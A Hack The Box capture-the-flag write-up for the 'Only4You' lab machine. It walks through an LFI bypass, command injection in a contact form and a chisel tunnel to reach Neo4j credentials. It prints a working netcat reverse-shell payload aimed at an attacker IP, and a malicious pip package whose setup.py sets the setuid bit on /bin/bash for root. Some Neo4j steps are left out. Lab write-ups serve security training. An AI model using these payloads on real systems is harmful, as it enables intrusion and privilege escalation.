Only4You - Hack The Box
Synopsis
only for you on a medium linux machine that resembles a ctf which can be said to have no real life vulnerabilities. in enumeration process we can get beta as sub domain and get source code. do our analysis determine LFI vulnerabilities in this domain. take the app.py file on the domain only4you.htb will get the RCE vulnerability, where attackers can send requests using the POST method and email, subject, messages as parameters. After getting shell access, we see an application running on localhost using port 3000 and 8001. Doing port forwarding will find neo4j on port 8001, we can get a valid username john and password to login via SSH. to get root privileges, we can upload the malicious tar.gz on the gogs port 3000 application, then to download the malicious file we can execute it using the pip command. executing bash -p will gain root privileges.
Portscan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e8:83:e0:a9:fd:43:df:38:19:8a:aa:35:43:84:11:ec (RSA)
| 256 83:f2:35:22:9b:03:86:0c:16:cf:b3:fa:9f:5a:cd:08 (ECDSA)
|_ 256 44:5f:7a:a3:77:69:0a:77:78:9b:04:e0:9f:11:db:80 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Default page
fuzzing the subdomain with ffuf
will get a beta
as subdomain, added into host file.
➜ only4you ffuf -u http://only4you.htb/ -H "Host: FUZZ.only4you.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 6 -mc all
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0 Kali Exclusive <3
________________________________________________
:: Method : GET
:: URL : http://only4you.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.only4you.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: all
:: Filter : Response words: 6
________________________________________________
beta [Status: 200, Size: 2191, Words: 370, Lines: 52, Duration: 74ms]
:: Progress: [19966/19966] :: Job [1/1] :: 629 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
download the zip file on from beta subdomain
Source Code Analyze
app.py file
from flask import Flask, request, send_file, render_template, flash, redirect, send_from_directory
import os, uuid, posixpath
from werkzeug.utils import secure_filename
from pathlib import Path
from tool import convertjp, convertpj, resizeimg
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024
app.config['RESIZE_FOLDER'] = 'uploads/resize'
app.config['CONVERT_FOLDER'] = 'uploads/convert'
app.config['LIST_FOLDER'] = 'uploads/list'
app.config['UPLOAD_EXTENSIONS'] = ['.jpg', '.png']
@app.route('/', methods=['GET'])
def main():
return render_template('index.html')
@app.route('/resize', methods=['POST', 'GET'])
def resize():
if request.method == 'POST':
if 'file' not in request.files:
flash('Something went wrong, Try again!', 'danger')
return redirect(request.url)
file = request.files['file']
img = secure_filename(file.filename)
if img != '':
ext = os.path.splitext(img)[1]
if ext not in app.config['UPLOAD_EXTENSIONS']:
flash('Only png and jpg images are allowed!', 'danger')
return redirect(request.url)
file.save(os.path.join(app.config['RESIZE_FOLDER'], img))
status = resizeimg(img)
if status == False:
flash('Image is too small! Minimum size needs to be 700x700', 'danger')
return redirect(request.url)
else:
flash('Image is succesfully uploaded!', 'success')
else:
flash('No image selected!', 'danger')
return redirect(request.url)
return render_template('resize.html', clicked="True"), {"Refresh": "5; url=/list"}
else:
return render_template('resize.html', clicked="False")
@app.route('/convert', methods=['POST', 'GET'])
def convert():
if request.method == 'POST':
if 'file' not in request.files:
flash('Something went wrong, Try again!', 'danger')
return redirect(request.url)
file = request.files['file']
img = secure_filename(file.filename)
if img != '':
ext = os.path.splitext(img)[1]
if ext not in app.config['UPLOAD_EXTENSIONS']:
flash('Only jpg and png images are allowed!', 'danger')
return redirect(request.url)
file.save(os.path.join(app.config['CONVERT_FOLDER'], img))
if ext == '.png':
image = convertpj(img)
return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
else:
image = convertjp(img)
return send_from_directory(app.config['CONVERT_FOLDER'], image, as_attachment=True)
else:
flash('No image selected!', 'danger')
return redirect(request.url)
return render_template('convert.html')
else:
[f.unlink() for f in Path(app.config['CONVERT_FOLDER']).glob("*") if f.is_file()]
return render_template('convert.html')
@app.route('/source')
def send_report():
return send_from_directory('static', 'source.zip', as_attachment=True)
@app.route('/list', methods=['GET'])
def list():
return render_template('list.html')
@app.route('/download', methods=['POST'])
def download():
image = request.form['image']
filename = posixpath.normpath(image)
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def server_error(error):
return render_template('500.html'), 500
@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400
@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
tool.py
from flask import send_file, current_app
import os
from PIL import Image
from pathlib import Path
def convertjp(image):
imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
img = Image.open(imgpath)
rgb_img = img.convert('RGB')
file = os.path.splitext(image)[0] + '.png'
rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
return file
def convertpj(image):
imgpath = os.path.join(current_app.config['CONVERT_FOLDER'], image)
img = Image.open(imgpath)
rgb_img = img.convert('RGB')
file = os.path.splitext(image)[0] + '.jpg'
rgb_img.save(current_app.config['CONVERT_FOLDER'] + '/' + file)
return file
def resizeimg(image):
imgpath = os.path.join(current_app.config['RESIZE_FOLDER'], image)
sizes = [(100, 100), (200, 200), (300, 300), (400, 400), (500, 500), (600, 600), (700, 700)][::-1]
img = Image.open(imgpath)
sizeimg = img.size
imgsize = []
imgsize.append(sizeimg)
for x,y in sizes:
for a,b in imgsize:
if a < x or b < y:
[f.unlink() for f in Path(current_app.config['LIST_FOLDER']).glob("*") if f.is_file()]
[f.unlink() for f in Path(current_app.config['RESIZE_FOLDER']).glob("*") if f.is_file()]
return False
else:
img.thumbnail((x, y))
if os.path.splitext(image)[1] == '.png':
pngfile = str(x) + 'x' + str(y) + '.png'
img.save(current_app.config['LIST_FOLDER'] + '/' + pngfile)
else:
jpgfile = str(x) + 'x' + str(y) + '.jpg'
img.save(current_app.config['LIST_FOLDER'] + '/' + jpgfile)
return True
the interesting part in app.py is function download.
@app.route('/download', methods=['POST'])
def download():
# parameter
image = request.form['image']
filename = posixpath.normpath(image)
#LFI blacklisted
if '..' in filename or filename.startswith('../'):
flash('Hacking detected!', 'danger')
return redirect('/list')
if not os.path.isabs(filename):
filename = os.path.join(app.config['LIST_FOLDER'], filename)
try:
if not os.path.isfile(filename):
flash('Image doesn\'t exist!', 'danger')
return redirect('/list')
except (TypeError, ValueError):
raise BadRequest()
return send_file(filename, as_attachment=True)
there is potential LFI with blacklisted rules if start with ../
or ..
, it’s easy to bypass. fireup burpsuite
next im gonna enumerate nginx config file, because wapplyzer detect if target use nginx as webserver.
payload : /etc/nginx/sites-enabled/default
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jun 2023 20:26:54 GMT
Content-Type: application/octet-stream
Content-Length: 460
Connection: close
Content-Disposition: attachment; filename=default
Last-Modified: Sun, 04 Dec 2022 21:54:52 GMT
Cache-Control: no-cache
ETag: "1670190892.3086803-460-3283749922"
server {
listen 80;
return 301 http://only4you.htb$request_uri;
}
server {
listen 80;
server_name only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
}
}
server {
listen 80;
server_name beta.only4you.htb;
location / {
include proxy_params;
proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
}
}
we just get the app.py for beta subdomain, we can get the script app.py in /var/www/only4you.htb/app.py
directory.
only4you.htb/app.py file
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jun 2023 20:30:40 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 1297
Connection: close
Content-Disposition: attachment; filename=app.py
Last-Modified: Mon, 12 Dec 2022 19:27:33 GMT
Cache-Control: no-cache
ETag: "1670873253.537084-1297-2541619842"
from flask import Flask, render_template, request, flash, redirect
#import file
from form import sendmessage
import uuid
app = Flask(__name__)
app.secret_key = uuid.uuid4().hex
@app.route('/', methods=['GET', 'POST'])
#possible RCE
def index():
if request.method == 'POST':
email = request.form['email']
subject = request.form['subject']
message = request.form['message']
ip = request.remote_addr
status = sendmessage(email, subject, message, ip)
if status == 0:
flash('Something went wrong!', 'danger')
elif status == 1:
flash('You are not authorized!', 'danger')
else:
flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
return redirect('/#contact')
else:
return render_template('index.html')
@app.errorhandler(404)
def page_not_found(error):
return render_template('404.html'), 404
@app.errorhandler(500)
def server_errorerror(error):
return render_template('500.html'), 500
@app.errorhandler(400)
def bad_request(error):
return render_template('400.html'), 400
@app.errorhandler(405)
def method_not_allowed(error):
return render_template('405.html'), 405
if __name__ == '__main__':
app.run(host='127.0.0.1', port=80, debug=False)
there is import file on app.py which is form.py, we can get the source code
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Wed, 28 Jun 2023 20:34:29 GMT
Content-Type: text/x-python; charset=utf-8
Content-Length: 2025
Connection: close
Content-Disposition: attachment; filename=form.py
Last-Modified: Mon, 31 Oct 2022 17:25:34 GMT
Cache-Control: no-cache
ETag: "1667237134.0-2025-2730756853"
import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress
def issecure(email, ip):
if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
return 0
else:
domain = email.split("@", 1)[1]
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "v=spf1" not in output:
return 1
else:
domains = []
ips = []
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
dms.pop(0)
for domain in dms:
domains.append(domain)
while True:
for domain in domains:
result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
output = result.stdout.decode('utf-8')
if "include:" in output:
dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
domains.clear()
for domain in dms:
domains.append(domain)
elif "ip4:" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
pass
break
elif "ip4" in output:
ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
ipaddresses.pop(0)
for i in ipaddresses:
ips.append(i)
else:
return 1
for i in ips:
if ip == i:
return 2
elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
return 2
else:
return 1
def sendmessage(email, subject, message, ip):
status = issecure(email, ip)
if status == 2:
msg = EmailMessage()
msg['From'] = f'{email}'
msg['To'] = 'info@only4you.htb'
msg['Subject'] = f'{subject}'
msg['Message'] = f'{message}'
smtp = smtplib.SMTP(host='localhost', port=25)
smtp.send_message(msg)
smtp.quit()
return status
elif status == 1:
return status
else:
return status
it is possible to RCE vulnerabillity, as long as we know the parameter. in this case we can send request with POST method with email
,subject
, and message
as parameter.
send the /
request with only4you.htb
domain into repeater, change the method from GET to POST. im try to make a request from server and get the response using netcat
.
netcat
result, from here we can gaining access into system
from no we can send a malicious request to webserver and catch with netcat
.
POST / HTTP/1.1
Host: only4you.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 135
email=bunnys@only4you.htb|rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.59+9000+>/tmp/f&subject=tester&message=tester
get the shell and upgrade shell using python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
gather information listening address on system using command ss -tln
port 3000 is gogs
and there is running apps in the background using port 8001.
we can do port forwarding 3000 and 8001 using chisel
.
on victim command :
./chisel client 10.10.14.59:8000 R:3000:127.0.0.1:3000 R:8001:127.0.0.1:8001 &
on kali command :
./chisel server -p 8000 --reverse3
we can login using admin:admin as credentials
get an information after loged in, if system already migrated to a new database. Neo4j is the world’s leading open source Graph Database which is developed using Java technology. It is highly scalable and schema free (NoSQL).
we can do extract an information for neo4j, in this below command to get neo4j version:
result version of neo4j is 5.6.0
, next i tried to dump label.
get label command:
get properties of the key label command:
retrieve password for user john, admin. going into crackstation for decoding the hash.
login via ssh john:ThisIs4You
Privilege Escalation
we can determining how to escalate into root using single command which is sudo -l
john@only4you:~$ sudo -l
Matching Defaults entries for john on only4you:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on only4you:
(root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz
There is gogs on port 3000, Gogs is a painless self-hosted Git service that runs virtually anywhere with little overhead.
login on gogs application using jhon:ThisIs4You
here’s the poc, and you can clone this repository.
firstly you need to change the setup.py file, we can import os
to use method system
.
from setuptools import setup, find_packages
from setuptools.command.install import install
from setuptools.command.egg_info import egg_info
import os
def RunCommand():
os.system("chmod u+s /bin/bash")
class RunEggInfoCommand(egg_info):
def run(self):
RunCommand()
egg_info.run(self)
class RunInstallCommand(install):
def run(self):
RunCommand()
install.run(self)
setup(
name = "this_is_fine_wuzzi",
version = "0.0.1",
license = "MIT",
packages=find_packages(),
cmdclass={
'install' : RunInstallCommand,
'egg_info': RunEggInfoCommand
},
)
we need to install dependencies package for our exploit with following command:
pip install setuptools
pip install build
#build the package
execute command python -m build
and then go to the gogs, we’re gonna make repository with name bunnys in this case.
after you create a new repository, create an empty file README.md usign touch
command. and do stuff like push on github.
when everything is complete, we can download our exploit using sudo
with following command:
sudo /usr/bin/pip3 download http\://127.0.0.1\:3000/bunnys/exploit/raw/master/this_is_fine_wuzzi-0.0.1.tar.gz
then execute bash -p
and you will be root in the system.
Refferencess
https://www.revshells.com/
https://exploit-notes.hdks.org/exploit/database/neo4j-pentesting/
https://exploit-notes.hdks.org/exploit/network/port-forwarding/port-forwarding-with-chisel/
https://crackstation.net/
https://github.com/wunderwuzzi23/this_is_fine_wuzzi/tree/main
https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j